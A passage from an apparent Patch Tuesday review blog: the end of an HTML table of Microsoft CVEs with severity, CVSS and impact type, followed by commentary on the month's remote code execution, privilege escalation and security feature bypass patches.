  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50328"><span>CVE-2026-50328</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58531"><span>CVE-2026-58531</span></a></td>
  <td width="256" class="xl74">Windows SMB Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54997"><span>CVE-2026-54997</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49801"><span>CVE-2026-49801</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50690"><span>CVE-2026-50690</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56168"><span>CVE-2026-56168</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50360"><span>CVE-2026-50360</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57089"><span>CVE-2026-57089</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50333"><span>CVE-2026-50333</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50298"><span>CVE-2026-50298</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49171"><span>CVE-2026-49171</span></a></td>
  <td width="256" class="xl74">Windows Speech Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49170"><span>CVE-2026-49170</span></a></td>
  <td width="256" class="xl74">Windows
  StateRepository API Server file Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58526"><span>CVE-2026-58526</span></a></td>
  <td width="256" class="xl74">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50299"><span>CVE-2026-50299</span></a></td>
  <td width="256" class="xl74">Windows Storage Spaces
  Direct Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57968"><span>CVE-2026-57968</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57973"><span>CVE-2026-57973</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50418"><span>CVE-2026-50418</span></a></td>
  <td width="256" class="xl74">Windows System Secure
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50306"><span>CVE-2026-50306</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50307"><span>CVE-2026-50307</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49177"><span>CVE-2026-49177</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50669"><span>CVE-2026-50669</span></a></td>
  <td width="256" class="xl74">Windows Telephony
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54124"><span>CVE-2026-54124</span></a></td>
  <td width="256" class="xl74">Windows Terminal
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50350"><span>CVE-2026-50350</span></a></td>
  <td width="256" class="xl74">Windows Trusted
  Runtime Interface Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50326"><span>CVE-2026-50326</span></a></td>
  <td width="256" class="xl74">Windows Unified
  Consent System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49790"><span>CVE-2026-49790</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50498"><span>CVE-2026-50498</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58547"><span>CVE-2026-58547</span></a></td>
  <td width="256" class="xl74">Windows Universal Plug
  and Play (UPnP) Device Host Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49794"><span>CVE-2026-49794</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50453"><span>CVE-2026-50453</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58528"><span>CVE-2026-58528</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50321"><span>CVE-2026-50321</span></a></td>
  <td width="256" class="xl74">Windows USB Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50479"><span>CVE-2026-50479</span></a></td>
  <td width="256" class="xl74">Windows USB Hub Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55000"><span>CVE-2026-55000</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54991"><span>CVE-2026-54991</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54996"><span>CVE-2026-54996</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49802"><span>CVE-2026-49802</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49806"><span>CVE-2026-49806</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50674"><span>CVE-2026-50674</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49804"><span>CVE-2026-49804</span></a></td>
  <td width="256" class="xl74">Windows USB Video
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50454"><span>CVE-2026-50454</span></a></td>
  <td width="256" class="xl74">Windows User Interface
  Core Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49176"><span>CVE-2026-49176</span></a></td>
  <td width="256" class="xl74">Windows WalletService
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49800"><span>CVE-2026-49800</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50480"><span>CVE-2026-50480</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56173"><span>CVE-2026-56173</span></a></td>
  <td width="256" class="xl74">Windows WebView
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58632"><span>CVE-2026-58632</span></a></td>
  <td width="256" class="xl74">Windows Win32 Kernel
  Subsystem Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54107"><span>CVE-2026-54107</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54986"><span>CVE-2026-54986</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54112"><span>CVE-2026-54112</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54114"><span>CVE-2026-54114</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50670"><span>CVE-2026-50670</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50688"><span>CVE-2026-50688</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50687"><span>CVE-2026-50687</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56176"><span>CVE-2026-56176</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58628"><span>CVE-2026-58628</span></a></td>
  <td width="256" class="xl74">Windows Wireless
  Network Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50295"><span>CVE-2026-50295</span></a></td>
  <td width="256" class="xl74">Windows Zero Trust DNS
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50509"><span>CVE-2026-50509</span></a></td>
  <td width="256" class="xl74">Wireless Wide Area
  Network Service (WwanSvc) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55945"><span>CVE-2026-55945</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45488"><span>CVE-2026-45488</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45489"><span>CVE-2026-45489</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55145"><span>CVE-2026-55145</span></a></td>
  <td width="256" class="xl74">Outlook Copilot
  Tampering Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56181"><span>CVE-2026-56181</span></a></td>
  <td width="256" class="xl74">Windows Network
  Address Translation (NAT) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58597"><span>CVE-2026-58597</span></a></td>
  <td width="256" class="xl74">Microsoft
  Edge (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl73">Low</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  






  <p class=""><em>** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.</em></p><p class=""><em> </em></p><p class=""><em> </em></p><p class="">I’ll do my best to summarize everything else in this release, but no promises. I’m only human after all.</p><p class=""> </p><p class="">Looking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We’ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it’s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) — patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these “normal” as far as patch cadence goes.</p><p class="">That leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.</p><p class="">The pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) — WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.</p><p class="">And because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.</p><p class="">There are close to 260 EoP bugs in this month’s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. What’s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says “elevate privileges” with no detail. By my count, that leaves around 25 bugs to consider. Some don’t elevate at all. The FAQ literally says the attacker just gets “the rights of the user running the affected application.” That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I’ve seen really stands out too much.</p><p class="">There are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it’s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It’s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot 